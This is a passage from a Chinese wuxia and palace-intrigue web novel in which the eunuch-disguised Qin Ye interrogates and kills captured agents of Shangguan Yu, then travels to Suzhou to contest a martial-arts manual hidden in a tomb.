秦烨露出意味深长的笑容：“你们感情倒是不错。可惜，她马上就要死了。” “为什么？”明远的声音中带着颤抖。 “她全都坦白了，却不是为了自己活命，而是为了救你。”秦烨叹息，“她对你情深意重，你却辜负了她的心意。” 明远如遭雷击，整个人呆立在原地。他怎么也没想到，苏华竟会为了救他，不惜牺牲自己。 那个总是对他冷言冷语的女子，那个看起来高傲冷漠的苏华，竟然愿意为他付出生命。 秦烨屈指一弹，几根细针飞出，解开了明远的穴道。“趁我没改变主意前，赶紧滚。” “求你放过苏华！”明远跪地恳求，额头重重地磕在地上。 “她的活命机会已经给了你。”秦烨冷笑，“我这人最讲究公平。” “我……我也愿意说！”明远急道，声音中带着哭腔，“只求你放过苏华！我知道的比她多得多！” “没必要了。”秦烨摆手，“景长老和苏华已经说得够多了。你还能说出什么新鲜的？” “我知道一些他们不知道的事！”明远咬牙道，“上官煜的秘密，他们根本不知道！只要你放过苏华，我什么都说！” 黑暗中，秦烨的眼神闪烁。这一切，都在他的计划之中。 他知道，人性最大的弱点就是感情。只要抓住这一点，就没有撬不开的嘴。 “情报值不值这个价，还得验证一番。”秦烨的声音不疾不徐，却让房间里的气氛瞬间凝固。 明远额头渗出细密的汗珠，他小心翼翼地抬头看了眼秦烨的背影，喉结上下滚动：“大人，我说的每一个字都是真的。” “是吗？”秦烨转过身来，目光如刀般锐利，在明远脸上逡巡，“那就从青云教说起吧。” 明远急忙点头，声音因为紧张而有些发颤：“青云教潜入汴城的真正目的，是要肃清地下势力，伺机而动……” “这种人尽皆知的事也好意思拿来邀功？”秦烨不耐烦地打断他的话，“看来你是真没什么有用的消息。” “等等！”明远猛地抬头，眼神慌乱，“皇城内还有我们的人！” 这句话像一块石头投入平静的湖面，激起层层涟漪。秦烨的手指停在半空，眼中闪过一抹异色。除了那个已经死掉的赵马康之外，皇城里竟然还藏着上官煜的爪牙？ “说下去。”秦烨在太师椅上坐下，姿态随意，但眼神却愈发凌厉。 明远如获大赦，连忙道：“皇城内有两个极为重要的人物，他们都对上官煜怀有异心。只是具体是谁，我也不清楚。”他的声音越说越小，生怕秦烨一个不满意就取他性命。 “就这些？”秦烨眉头微皱。 “大人……”明远咽了咽口水，“能否先让我见见苏华？” 秦烨沉默片刻，终于点了点头。房门应声而开，苏华站在门外，虽然重新穿好了衣裳，但声带仍被封住。她的眼神在看到明远的瞬间闪过一丝复杂。 看到苏华安然无恙，明远明显松了口气，继续道：“百官之中也有我们的人。” “具体点。”秦烨的声音带着一丝不耐。 “是……是工部尚书孔云章。”明远犹豫了一下，还是说了出来。说完这句话，他的身子微微发抖，显然是害怕泄露这个消息会带来什么后果。 这个消息让秦烨眉头紧锁。朝堂上上官煜的势力竟然渗透得如此之深，这比他预想的还要棘手。 “继续。” “孔云章曾经奉命绘制过皇城的详细地图。”明远又补充道，“目的是为了摸清皇城内高手的藏身之处，好一举拿下。” 秦烨的目光微动，难怪之前看到那些工部工匠鬼鬼祟祟。幸好早就派人盯着了。 “先帝之死，其实也是上官煜一手策划的。”明远又说道，声音越来越小。 “这个我早就知道了。”秦烨不耐烦地打断他，“还有什么？” “没……没有了。”明远苦着脸摇头，额头的冷汗已经浸湿了衣领。 秦烨站起身来，衣袖在月光下划出一道优美的弧线。明远立刻扑上来抱住他的腿：“求您放过苏华吧！” “你们的情报确实有用。”秦烨微微一笑，那笑容却让明远心底发寒，“我可以给你们三个一个活命的机会。” 话音刚落，苏华和景长老被推进了房间，三人身上的禁制也被解开。房间里的气氛瞬间变得剑拔弩张。 秦烨转身离开，在关门前淡淡道：“三个人只能活一个，就看你们自己的本事了。” “你明明答应过让我们都活的！”明远和苏华同时喊道，声音中带着绝望。 “我只说给个活命机会，可没说全都放过。”秦烨冷笑，“跟着上官煜这么多年，你们手上沾的血还少吗？能给一个活命的机会已经是开恩了。” 房门关上的瞬间，景长老已经率先出手。他的身影在月光下拉出一道残影，直奔苏华而去。明远大喊一声，也加入了战局。 秦烨转身离去，耳边传来房内打斗的声响。瓷器碎裂的声音，拳脚相加的闷响，还有压抑的惨叫，交织成一曲死亡的乐章。 这些人都参与了清理玄铁会，说不定就是杀害赵马玄的凶手。更何况跟随上官煜多年，不知造下多少血债。这种人，死有余辜。 第一百三十七章 顺藤摸瓜 回宫的路上，夜色渐深，街道上已经没有了行人。秦烨的脚步声在空旷的街道上回响，他的思绪却飘向了更远的地方。 皇城内那两个隐藏的高手会是谁？上官煜的势力竟然渗透到了这种地步，不得不防。孔云章身为工部尚书，能接触到的机密信息不在少数，这是个极大的隐患。 他暗自盘算，既然知道了孔云章的身份，不如顺藤摸瓜，说不定能揪出更多的内鬼。想到这里，秦烨脚步一顿，吩咐身边的影卫：“去查一查最近半年工部的动向，特别是和皇城有关的一切。从明天开始，加强对工部衙门的监视。”秦烨沉声道，“特别是孔云章的一举一动，都要详细记录。” “是！”影卫们齐声应道。 “另外，”秦烨顿了顿，“派人去查一查孔云章的家族背景，还有这些年来的人际往来。重点关注他和青云教的联系。” 一个影卫犹豫了一下，开口道：“大人，孔云章在朝中根基深厚，若是贸然……” “无妨。”秦烨打断他的话，“只要不打草惊蛇就行。” 回到偏殿，秦烨坐下刚喝上一口水，贴身太监轻声禀报，“秦公公，长春宫那边传来消息，娘娘今日身体不适。” 秦烨闻言，轻轻摇了摇头，暂且将这些烦心事放在一边。他大步向长春宫走去，脚步声在寂静的宫道上回荡。 宫道上忽然传来一阵脚步声，秦烨抬头，看见上官瑾迎面走来。这位平日里对司马玉华腹中胎儿颇有微词的女帝，最近倒是频繁出入长春宫，让人不禁生疑。 “你怎么来了？”秦烨停下脚步，目光落在上官瑾略显疲惫的脸上。 上官瑾没有立即回答，只是默默看着前方。月光下，她的侧脸显得格外柔和。这段时日，她亲眼目睹了司马玉华对腹中胎儿的呵护，那份纯粹的母爱让她内心不断触动。 “最近常来看她。”上官瑾轻声说道，语气中带着几分说不清道不明的情绪。 秦烨看着她的神情变化，试探着问：“不再计较血统的事了？” “还能怎样？”上官瑾白了他一眼，有些无奈，“只能赌一把了。若是个女儿，倒也无妨。” 秦烨明白她的意思。若是生下的是个女儿，许多问题自然迎刃而解。这确实是一场赌博，不仅上官瑾在赌，他何尝不是？ 就在此时，一名侍卫匆匆赶来，在秦烨耳边低语几句。秦烨的眉头顿时皱得更紧了。 “虎卫那边出事了？”上官瑾敏锐地察觉到秦烨的神色变化。 秦烨点点头：“有人袭击了虎卫总部。” 与此同时，虎卫总部内一片混乱。武勇和沈飞雪刚刚归来，便听说了虎卫遭遇袭击的消息。大厅内，众人神色凝重地听着鬱风的汇报。 “那些人的实力很强，至少有三位宗师级别的高手。”鬱风的声音略显沙哑，“若非秦烨派来的五位高手及时赶到，后果不堪设想。” 武勇惊讶地问道：“这等高手，我们虎卫是如何抵挡住的？” 褚煦将事情的经过详细说明：“那五位高手各个身怀绝技，与敌人激战了整整一个时辰。最后，对方见久攻不下，这才退去。” “看来，有人想要趁我们立足未稳之际，将虎卫扼杀在摇篮中。”沈飞雪冷声说道。 武勇点头表示赞同：“这背后必有隐情。能调动如此实力的势力，绝非等闲之辈。” 众人随后来到书房，沈飞雪忽然开口道：“师兄，我需要去一趟江南。族中已派人前往，父亲又遭人偷袭受伤，不得不去。” “紫电剑现在怕是派不上用场了。”武勇皱眉道，“你此去江南，恐怕会遇到危险。” 沈飞雪神色凝重：“东雄图的墨陵已被打开，若非守陵人在，那三个功法早已落入他人之手。现在局势复杂，我必须尽快赶去。” “要不要告知恩公，请他一同前往？”武勇提议道。 “不必了。”沈飞雪摇头，“他是皇上身边的重臣，不便轻举妄动。况且，他身边的高手也不能全都带走，汴城这边还需要防备。” 夜幕完全降临，承明殿内灯火通明。 上官瑾又一次翻牌选人侍寝，这次叫来的是柔木氏公主芷兰。玉兰身着轻纱，在烛光下显得格外妖娆。 玉兰许久未曾侍寝，此刻显得格外热情。她主动靠近黑暗中的秦烨，眼中带着几分期待和羞涩。远处观看的上官瑾不禁皱眉，暗道北疆女子果然开放。 秦烨也被玉兰的主动吓了一跳，但很快便占据了主动。他可是堂堂中原男儿，岂能被一个北疆女子压在身下？ 一番云雨后，玉兰已是香汗淋漓，连连求饶。但秦烨哪里肯就此罢休？直到玉兰连求饶的力气都没有了，这才暂时停下。 不过，就在玉兰以为结束之际，秦烨又开始了新一轮的征伐。玉兰惊呼一声，随即便沉浸在无尽的欢愉之中。 上官瑾在一旁看得目瞪口呆，这样的场面，即便是她也不禁有些脸红。她暗自庆幸，还好之前秦烨对自己还算克制温柔。 这一夜注定漫长，玉兰怕是要吃不消了。 清晨的阳光透过窗棂洒进书房，在地面上投下斑驳的光影。上官煜站在窗前，手中捏着一封密信，眉头微蹙。窗外的鸟儿叽叽喳喳，与他此刻凝重的心情形成鲜明对比。 信上说，明远、苏华和景长老三人一夜未归，也未传回任何消息。这三人本是他惯用的手下，没想到竟然全部失联。 “死了就死了。”上官煜轻轻一笑，将信纸揉成一团扔进纸篓。阳光照在他略显苍白的脸上，那双深邃的眼眸中闪过一丝冷意。 这三人的生死，在他眼里不过是棋子的得失。眼下他更在意的，是江南那边传来的消息。一想到江南的局势，他的手指不自觉地在窗台上轻轻敲击。 东雄图的墨陵被人打开了一个盗洞，各大门派蜂拥而至，为了争夺墨陵中的功法大打出手。消息传来时，已经有不少江湖高手在那里折戟沉沙。 “又是一场血雨腥风啊。”上官煜眯起眼睛，手指停下了敲击的动作。 据他所知，已经有好几个门派折损在那里。那些踏入盗洞的高手，无一生还。剩下的人只能在洞口对峙，谁都不敢轻举妄动。空气中弥漫着一股剑拔弩张的气息。 但上官煜知道，这种僵持不会持续太久。江湖中人的耐性向来不长，更何况是面对如此诱人的宝藏。 “天地大挪移……”他低声念叨着这个名字，掩饰不住炙热的神色。窗外的鸟儿似乎被他的气息惊到，扑棱着翅膀飞走了。 【这门功法，我已觊觎已久。为此不惜争夺紫电剑，如今机会就在眼前，岂能放过？】想到这里，他的呼吸不自觉地急促起来。 “看来得亲自走一趟了。”上官煜站起身，眺望江南的方向。晨光中，他的身影显得格外挺拔。 第一百三十八章 死有余辜 与此同时，承明殿内。 华丽的宫殿中，檀香袅袅。秦烨刚结束一夜的欢愉，玉兰公主已经沉沉睡去。她的长发散落在锦被上，呼吸绵长而均匀，而女帝上官瑾已经上朝去了。 秦烨轻手轻脚地起身，来到偏殿开始打坐修炼。清晨的凉意透过薄衫渗入肌肤，让他的思绪愈发清明。 “这具凡胎，还需要好好锻炼啊。”秦烨自嘲一笑，感受着体内真气的运转。 修炼告一段落，他直奔虎卫而去。 “大人。”褚煦递上一封信，神色凝重，“武勇和沈飞雪送来的。” 秦烨展开信纸，眉头微皱。原来这两人已经赶往江南，准备参与争夺东雄图墨陵中的功法。信中字里行间透着一股迫切。 “行动倒是迅速。”秦烨摇头失笑，“不过也太心急了些。”他将信纸放在桌上，手指轻轻摩挲着纸面。 他本想亲自走一趟，现在看来只能另作打算。忽然，他想起了昨日那个受伤的女子秦韶华。那个女子身上有太多谜团。 “她是江南人士，或许知道些什么。”秦烨若有所思，“而且她的身份，恐怕没那么简单。” 在沈化林的带领下，秦烨来到地下密室。阴暗潮湿的走廊中，火把的光芒在墙上跳动，投下诡异的阴影。 刚靠近门口，一股凌厉的掌风迎面扑来。明远的身影闪电般袭至，一掌直取秦烨面门。掌风呼啸，带着决绝的杀意。 “让我试试。”秦烨挥退想要相助的沈化林。他的眼中闪过一丝兴趣，身形纹丝不动。 砰！ 两掌相交，气浪翻滚。明远如断线风筝般飞出，重重撞在墙上，一口鲜血喷出。墙面上留下了一个清晰的凹痕。 秦烨扫视密室内部。景长老已经死在角落，身体蜷缩，面容扭曲，显然死前经历了极大的痛苦。苏华虚弱地靠墙而坐，脸色苍白如纸，只有明远还能勉强战斗。 “有意思。”秦烨看出了端倪，嘴角微微上扬。 明远明明有机会杀死苏华，却迟迟不下手。就在刚才，他选择对自己出手，是想挟持自己，带着苏华逃走。这份情谊，倒是让人意外。 【为了爱情，倒是挺痴情。】秦烨心中暗道，目光在两人身上来回扫视。 明远擦去嘴角的血迹，眼中闪过一丝决然。他知道刚才那一击已经暴露了实力的差距，但为了苏华，他依然准备拼死一搏。他缓缓站起身，摆出战斗姿态。 秦烨站在那里，眼神冷漠地看着跪在地上的明远。 “杀了我吧，求你杀了我，放了苏华。”明远声音嘶哑，眼中带着祈求。他的衣衫破烂，身上布满伤痕，那是方才激战留下的痕迹。 秦烨轻轻摇头，嘴角勾起一抹冷笑。他缓步走到明远面前，居高临下地看着明远：“别急，我们还有时间。” 房间里的气氛陡然凝重。角落里，苏华蜷缩在那里，眼中含着泪水，却不敢发出一点声音。 秦烨伸出手指，轻轻勾了勾：“来，陪我打一场。” 明远抬起头，眼中闪过一丝疑惑。他不明白秦烨为什么还要和自己打，难道之前的战斗还不够吗？ “放心，我给你恢复的时间。”秦烨淡淡道，语气中带着几分玩味，“半个时辰，足够了吧？” 明远没有说话，只是默默地盘膝坐下，开始调息。他知道，这或许是最后的机会。 秦烨就这样静静地看着他，目光中带着几分探究。这些日子的修炼，他确实需要一个对手来验证自己的进步。而明远，就是最好的试金石。 月光渐渐西移，半个时辰悄然而过。 明远睁开眼睛，眼神中多了几分凌厉。体内的真气已经恢复了七八分，虽然不及巅峰状态，但也足以一战。 两人再次相对而立。 明远率先出手，一招“白鹤亮翅”，看似平淡无奇，实则暗藏杀机。多年的实战经验让他深谙以柔克刚之道，每一招都精妙绝伦。 然而这一切在秦烨面前，都显得那么苍白无力。 秦烨轻描淡写地化解了这一招，反手一掌拍出。掌风呼啸，带着令人心悸的力量。 明远勉强躲过，但仍觉得胸口一阵发闷。这一掌的力道，远超他的想象。 “你的进步……”明远喘着粗气，眼中满是震惊，“怎么会这么快？” 秦烨没有回答，又是一掌拍出。这一掌更加凌厉，掌风呼啸间，仿佛带着撕裂空气的力量。 明远连忙施展轻功躲避，但秦烨的攻势如影随形。一掌接一掌，每一击都精准无比，让明远疲于应付。 “砰！” 又是一记对掌，明远只觉得一股巨力传来，整个人如断线风筝般飞了出去，重重撞在墙上。 他踉跄着站起来，嘴角溢出鲜血。这一刻，他终于明白了什么叫绝望。 曾几何时，他也是这样戏弱那些对手。而现在，他成了案板上的鱼肉，任人宰割。 “你到底……想干什么？”明远跌坐在地，浑身是伤。他的目光扫向角落里的苏华，眼中满是痛苦和不甘。 秦烨缓步上前，一把掐住他的脖子。那双眼睛冰冷如刀，仿佛能看透人心：“想知道原因？” “第一，我要看看这段时间的修炼成果。” “第二，我喜欢看你这种明明恨我入骨，却无可奈何的样子。” “第三……”秦烨的声音陡然冰冷，“为赵兄报仇。” 明远拼命挣扎：“赵马玄不是我杀的！我发誓！” “是啊，是你主子上官煜干的。”秦烨冷笑，“放心，我会找他算账的。至于你……” 咔嚓一声，明远的脖子被扭断。生机瞬间消逝，那双眼睛还保持着不甘和绝望。 秦烨随手将尸体丢在地上，转身看向角落里的苏华。 苏华虚弱地靠在墙边，眼泪无声滑落。 “杀了我吧。”苏华轻声说，声音中带着绝望。 “不，你还有用。”秦烨淡淡道。月光下，他的表情晦暗不明。 “你答应过的……” “我说过，只能活一个人。”秦烨打断她的话，“现在活了两个，已经违规了。留你一命，是我仁慈。” 苏华面如死灰：“你留我干什么？” “还记得我昨天说的话吗？”秦烨笑了笑，那笑容让苏华不寒而栗，“就是那个用处。” 苏华脸色大变，猛地撞向墙壁。秦烨眼疾手快，一把拦住她。 “想死？没那么容易。” “沈化林！” “在！”门外传来恭敬的回应。 “严加看管，别让她寻死。” “是，公公。” 处理完这些，秦烨走到窗前。夜色依旧深沉，但他的心思已经飘向了远方。 第一百三十九章 前往江南 江南，那个藏着无数秘密的地方。 上官煜必然会去，因为那里不仅有天地大挪移，有什么重要的功法。江湖上已经传开，不知多少隐世高手蠢蠢欲动。 秦烨望着远方，眼神渐渐变得深邃。这趟江南之行凶险异常，但他必须去。即便夺不到功法，也要阻止上官煜得手。 夜风吹拂，带来远处的更声。秦烨转身离开，身影渐渐消失在夜色中。 房间里只剩下景长老和明远的尸体。苏华蜷缩在角落，泪水无声滑落。 夜色如墨，承明殿内一片寂静。 秦烨站在殿中，目光落在龙座上端坐的上官瑾身上。她一袭明黄龙袍，眉目如画，却带着几分不易察觉的疲惫。 “我要去江南。”秦烨开口，声音在空旷的大殿中回荡。 上官瑾手中的朱笔一顿，抬眸看向他：“为何突然要去江南？” “得到消息，天地大挪移的秘籍现世了。”秦烨缓步上前，“就在苏州城外的东雄图陵寝中。” 上官瑾眼中闪过一丝讶异：“东雄图？那个纵横江湖数十年的绝世高手？” “正是。”秦烨点头，“据说他临终前将毕生所学藏于陵寝之中，其中就包括这门失传已久的绝世武功。” “所以你是为了这门武功？”上官瑾放下朱笔，纤细的手指轻轻敲击着案几。 秦烨摇头：“不，我是为了上官煜。” 听到这个名字，上官瑾的神色骤然凝重。 “你认为他会去？” “必然会去。”秦烨语气笃定，“以他的野心，不会放过这个机会。若让他得到天地大挪移，结果会很严重。” 上官瑾沉默良久，看向秦烨：“你当真要去？” “非去不可。” 殿外传来更夫打更的声音，在寂静的夜色中格外清晰。上官瑾起身走到秦烨面前，近在咫尺的距离让她能清楚地看到他眼中的坚定。 “带上韩九和沈化林。”她最终说道，声音里带着几分不易察觉的担忧，“他们二人武功高强，可保你周全。” “多谢陛下关心。”秦烨微微一笑。 “谁……谁关心你了！”上官瑾俏脸微红，转身背对着他，“朕只是不想你死了，就少了侍寝的人。” 秦烨看着她的背影，心中一暖：“我明日一早便动身，事不宜迟。” “等等。”上官瑾突然开口，“我再派两名影卫暗中护卫。他们都是二品高手，平日负责汴城安防。” 秦烨知道她是真的担心，轻声道：“好。” 夜色渐深，秦烨回到自己的院子。他取出一柄长剑，在月光下细细擦拭。剑身寒光凛凛，映照出他沉思的面容。 翌日清晨，天还未大亮，秦烨就来到了虎卫总部。秦韶华已经等在那里，虽然面色还有些苍白，但精神看起来不错。 “伤势如何？”秦烨问道。 秦韶华轻声答道：“已无大碍。” 秦烨仔细打量了她一番，看她站姿还有些不稳，提议道：“你我同骑一匹马吧，以防伤势复发。” 秦韶华低头应了，耳根微红。 韩九牵来三匹汗血宝马，这都是柔木氏公主的嫁妆，女帝特意拨来给秦烨代步。马匹通体火红，四蹄修长有力，一看就知是难得的良驹。 “好马。”秦烨抚摸着马颈，感受着它们蕴含的力量。 他翻身上马，随后伸手将秦韶华扶上马背，让她坐在身前。韩九和沈化林各自上马，两名影卫则早已悄然跟随在暗处。 一行人策马扬鞭，向着苏州方向疾驰而去。 汗血宝马果然名不虚传，日行千里不在话下。傍晚时分，他们已经抵达了苏州城北。 官道上人来人往，马蹄声不绝于耳。空气中弥漫着潮湿的气息，远处焦华密布，仿佛随时都会下起大雨。 秦烨勒住缰绳，目光扫过道路两旁络绎不绝的行人。这些人大多衣着朴素，腰间别着长剑，显然都是冲着东雄图的陵寝而来。不过真正有实力争夺东雄图遗留功法的高手，必定不会这般张扬。 “雨要来了。”秦韶华抬头望了望天空，眉头微蹙。 秦烨转头看向她，目光在她精致的侧脸上停留了片刻：“天色不早了，今晚就不进城了，在城外找个客栈歇息吧。” “是，公子。”沈化林立即应声，目光警惕地扫视四周。虽然以秦烨的身份完全可以住进当地最好的驿站，但此行为了低调行事，还是选择普通客栈更为妥当。 不多时，一行人来到一家规模不小的客栈门前。推门而入，喧闹声和酒香扑面而来。大堂内几乎座无虚席，到处都是谈笑声、碗筷声交织在一起。 “这东雄图的陵寝，还真是引来了不少人。”韩九低声说道，“看这架势，怕是要有一场恶战。” 秦烨不置可否地笑了笑，走到柜台前：“掌柜的，开四间房。”说着随手扔出一锭银子。 掌柜的眼睛一亮，但随即露出为难之色：“这位客官，实在抱歉。小店现在只剩两间空房了。这几日来往的江湖中人太多，客房十分紧俏。” “那就两间吧。”秦烨也不在意。 “我和韩九住一间就行。”沈化林说道，眼神示意秦烨要多加小心。 角落里，一名身着华服的青年正用阴冷的目光打量着秦韶华。他的手指无意识地敲击着桌面，眼神流露出淫邪之色。 “魏衡少爷，那女子姿色确实不错。”身旁的蓝衣老仆低声说道，“而且看起来功力不弱，正适合做您的炉鼎。” “明日动手。”魏衡冷笑一声，“派人去打探他们的行程。记住，一定要一击必中。” 二楼房间内，沈化林和韩九并未休息，而是保持着警惕。方才上楼时，他们已经察觉到有人在暗中窥视。 “那个角落里的年轻人，看起来来历不简单。”韩九皱眉道，“他身边那个老仆，气息内敛，恐怕是个高手。” 沈化林点点头：“我也看出来了。今晚咱们轮流值守，不能掉以轻心。” 另一间房里，秦烨看着秦韶华，笑道：“一张床，今晚怎么睡？” 秦韶华俏脸微红，咬了咬下唇：“床……床不小，挤一挤就是了。不过你不许动手动脚。” “那是自然。”秦烨一本正经地保证，眼中却闪过狡黠。 秦韶华刚坐到床边，秦烨就从背后轻轻搂住了她的肩膀：“舟车劳顿一天，该休息了。” “嗯……”秦韶华轻轻应了一声，心跳却不由自主地加快了。她能感受到秦烨温热的呼吸拂过耳畔，这让她既紧张又期待。 油灯昏暗的光芒下，秦韶华的脸颊泛着红晕。她偷偷瞥了一眼秦烨，发现他正专注地看着自己，连忙低下头去。 “真的……不许乱来。”秦韶华小声提醒道，声音里带着一丝颤抖。 “放心，我说到做到。”秦烨轻笑一声，手臂却不自觉地收紧了几分。 第一百四十章 密谋设伏 与此同时，客栈后院的一间偏房内，魏衡正在谋划着明日的行动。 “少爷，已经打探清楚了。”一个黑衣人躬身禀报，“他们明日要去城东的玉虎镇。那里地势开阔，最适合设伏。” 魏衡眼中闪过一丝寒光：“很好。你去安排人手，务必要一击必中。那女子的功力不弱，不能给她反抗的机会。” “是，少爷。”黑衣人退下后，魏衡转向蓝衣老仆，“老钱，这次就看你的了。” 老钱躬身应道：“少爷放心，老奴一定不负所托。” 夜色渐深，客栈内渐渐安静下来。沈化林和韩九轮流值守，警惕着可能的危险。他们很清楚，江湖中人汇聚之地，往往暗藏杀机。 秦韶华躺在床上，听着身旁秦烨均匀的呼吸声，却怎么也睡不着。她偷偷转头看了眼秦烨的侧脸，心中暗暗叹息。 这个男人总是能让她心绪不宁，但又无法抗拒。她想起初次相遇时的情景，那时的她还不知道，这个看似随意的相遇，会让她的人生发生如此巨大的改变。 秦烨似乎察觉到她的目光，突然睁开眼睛：“睡不着？” “有点……”秦韶华小声回答，“总觉得心里不踏实。” “是因为东雄图的陵寝吗？”秦烨转过身，“还是因为今天在客栈里遇到的那些人？” 秦韶华摇摇头：“说不清楚。就是感觉……好像要发生什么事情。” “不用担心。”秦烨轻声安慰道，“有我在。” 简单的三个字，却让秦韶华心里一暖。她知道秦烨说到做到，从来不会食言。 窗外的雨声渐渐大了起来，打在屋檐上发出清脆的响声。秦韶华听着雨声，终于渐渐睡去。秦烨看着她安静的睡颜，眼神温柔。 承明殿内一片寂静。 深夜的宫殿显得格外空旷，只有几盏宫灯在微风中轻轻摇曳。偶尔传来几声更夫打更的声音，在寂静的夜里显得格外清晰。 上官瑾坐在御案前，手中拿着一份奏折，烛光映照在她略显疲惫的脸上。案头堆积如山的奏折还未批阅完，但她的思绪早已飘向了遥远的江南。 “这个不省心的奴才……”她轻叹一声，将手中的奏折放下，纤细的手指无意识地摩挲着桌面。 往日这个时辰，那个不知天高地厚的家伙总会在旁边说些俏皮话，时不时还要逗弄她几句。虽然每次都让她又气又笑，但现在想来，倒让人有些怀念。 “陛下，要不要休息一会儿？”贴身宫女小声询问。 上官瑾摆了摆手：“不用，你们下去吧。” 待宫女们退下后，她站起身来到窗前。今夜的月色很好，皎洁的月光洒在庭院中的石板上，将一切都染上了一层银白。 “也不知道他们到了苏州没有……”她喃喃自语，心里忍不住担忧。 想到秦烨此行可能遇到的危险，上官瑾就忍不住皱眉。江湖险恶，虽然有沈化林跟着，但还是让人放心不下。那些江湖中人向来不按常理出牌，万一…… 她摇摇头，试图甩开这些不好的想法。 “早知如此，就该多派些人手。”上官瑾踱步到床榻边，却毫无睡意。 这还是她第一次因为一个奴才而失眠。想到这里，她不禁苦笑。堂堂一国之君，居然会为一个下人担心到睡不着觉，若是让朝臣们知道了，怕是要笑掉大牙。 与此同时，苏州城外的一家客栈内。 秦烨睁开眼睛，天色已经大亮。身边的秦韶华还在熟睡，整个人像八爪鱼一样缠在他身上，温热的呼吸喷在他的脖颈处，让他有些心猿意马。 “这丫头……”秦烨无奈地笑了笑，目光不自觉地落在她安详的睡颜上。 秦韶华的睫毛很长，在晨光中投下一片小小的阴影。她的呼吸均匀绵长，嘴角还带着一丝笑意，不知道是在做什么美梦。 “公子，该起程了。”门外传来韩九的声音。 “知道了。”秦烨轻声回应，生怕吵醒身边的人。 这一动静还是惊醒了秦韶华。她睁开眼睛，发现自己正抱着秦烨，顿时俏脸通红，像是熟透的苹果。 “对……对不起……”她慌忙松开手，声音细若蚊蝇。 “睡得可好？”秦烨笑着问道，目光中带着几分戏谑。 秦韶华低着头不敢看他，手指绞着衣角：“嗯……” “那今晚继续？” “不要！”秦韶华连忙摇头，但心里却暗暗期待着。她偷偷瞄了秦烨一眼，见他正笑吟吟地看着自己，连忙又低下头去。 秦烨起身整理衣衫，秦韶华看着他的背影，心中五味杂陈。她知道自己对这个“太监”产生了异样的情愫，可这份感情注定是无疾而终。想到这里，她不禁黯然神伤。 收拾妥当后，一行人出了客栈。清晨的街道上已经有不少行人，小贩的吆喝声此起彼伏。 “公子，后面有人跟着。”沈化林突然低声提醒。 秦烨不动声色地点点头，眼中闪过一丝寒光：“放慢速度，引他们到偏僻处解决。” 一路向云霄观行进，秦烨故意放慢马速。那些跟踪的人也不着急，就这么不远不近地吊在后面，像是在等待什么时机。 “云霄观就在前面的山上。”秦韶华指着远处说道，语气中带着几分紧张。 秦烨抬头望去，只见一座道观坐落在半山腰上，古朴的建筑群掩映在郁郁葱葱的树木之中，颇为气派。 “东雄图的陵寝就在观后的山中？” “是的。”秦韶华点头，“不过听说有高手把守，而且……”她欲言又止。 “而且什么？” “听说守墓的是一位武功高强的道长，这些年来，不知道有多少人想要闯进去，都被他打退了。” 秦烨笑了笑：“无妨，咱们先解决这些尾巴再说。” 说着，他示意众人转向一条偏僻的山路。这条路两旁都是茂密的树林，很适合设伏。 此时的云霄观内，已是剑拔弩张。 一位身着蓝色道袍的老道士独自挡在山门前，银白的长须随风飘动。面对数十名江湖好手的围攻，他却面不改色，仿佛在看一场闹剧。 “巩明道长，识相的就让开！”有人喝道，声音中带着几分不耐。 老道士淡然道：“这后山不是尔等能去的地方，请回吧。”他的语气平和，却带着不容置疑的意味。 “东雄图都死了多少年了，你何必如此执着？”又有人说道，“难道真要为了一个死人，与天下武林为敌吗？” “诸位，后山凶险异常。”巩明道长语气平和，却透着不容置疑，“不日便会化作尸山血海，还请诸位及早离去。” 第一百四十一章 巩明道长 人群中爆发出一阵嗤笑。有人挤眉弄眼，有人摇头晃脑，更有甚者直接破口大骂。 “巩明道长，您这是在小看我们？”一个虎背熊腰的壮汉挤出人群，手中钢刀反射着冷冽寒光。 “就是，东雄图的武功秘籍就在后山，谁不想得到？”又一人附和道。 “凭什么您一个人把持着？” “让开！否则别怪我们不客气！” 喧嚣声此起彼伏。巩明道长眉头微皱，手中太极剑轻轻一震，凌厉的剑气登时四散开来。剑气所过之处，地面上的枯叶纷纷碎裂。 众人不由自主地后退了半步，脸上的嚣张气焰也收敛了几分。 二品巅峰的实力，确实不是在场任何人能够抗衡的。但这并不能完全阻止他们的野心。贪婪的目光依旧在人群中闪烁。 “巩明道长，您再厉害又如何？”人群中走出一个青衣青年，面带冷笑，“各路高手都在赶来的路上，到时候，就凭您一个人，挡得住吗？” 巩明道长神色不变：“尽人事，听天命。” “哼，冥顽不灵！”青年转身对着人群高声道，“兄弟们，一起上！” 就在这千钧一发之际，柳风从人群中走出。他拱手道：“道长，老夫只想瞻仰东雄图遗容，不忍见天地大挪移这等绝世功法失传。还请道长行个方便。” “你无缘。”巩明道长摇头，目光落在柳风身上，似乎能看透他内心的算计。 柳风脸色一变，强压下心中怒火：“那小女和这位贤侄呢？”他指向身后的沈飞雪和武勇。 巩明道长目光在二人身上停留片刻，忽然露出一丝若有所思的神色：“他们倒是有几分缘分，可以进去。” 人群顿时一片哗然。有人不服，有人嫉妒，更多的人则在打量着沈飞雪和武勇，似乎想从他们身上看出什么特别之处。 沈飞雪和武勇对视一眼，见柳风点头示意，便向巩明道长行礼后，沿着小径进入后山。 “师妹，我在前面。”武勇抽出宝刀，警惕地打量四周。山雾渐浓，树影婆娑，不时传来几声怪异的鸟鸣。 沈飞雪紧跟在后，玉手按在剑柄上，随时准备应对突发情况。 与此同时，距离云霄观数里外的官道上。 秦烨正骑马缓行，身旁是沈化林和韩九二人。秋日的阳光透过树叶洒下斑驳的光影，马蹄声踏在官道上，发出规律的响声。 突然，一阵急促的马蹄声从身后传来，打破了这份宁静。 “来了。”秦烨淡淡道，眼中闪过一丝不耐。 “公子放心，交给我们。”沈化林和韩九对视一眼，同时勒马回身。 只见昨日在客栈遇到的蓝衫男子魏衡，带着五名手下疾驰而来。马蹄扬起的尘土在阳光下形成一片灰蒙蒙的帷幕。 “美人，在下魏衡，一见倾心，不知可愿与我结为连理？”魏衡勒马停在秦烨一行人面前，眼中闪烁着贪婪的光芒。他的目光肆无忌惮地在秦韶华身上打量。 秦韶华冷冷道：“你是何人？为什么我要跟你结为连理？” “呵呵，小娘子还挺烈。”魏衡大笑，露出一口白牙，“既然你不愿意，那就只好用强了。” 他一挥手，五名手下立刻将秦烨等人团团围住。这些人个个面带凶相，手中兵器寒光闪闪。 “识相的，把这女人交出来，饶你们不死！”为首的手下狞笑道，手中大刀指向秦烨。 “好大的口气。”秦烨冷笑，目光中带着几分戏谑。 沈化林看向韩九：“老韩，多少年没人敢这么跟我们说话了？” 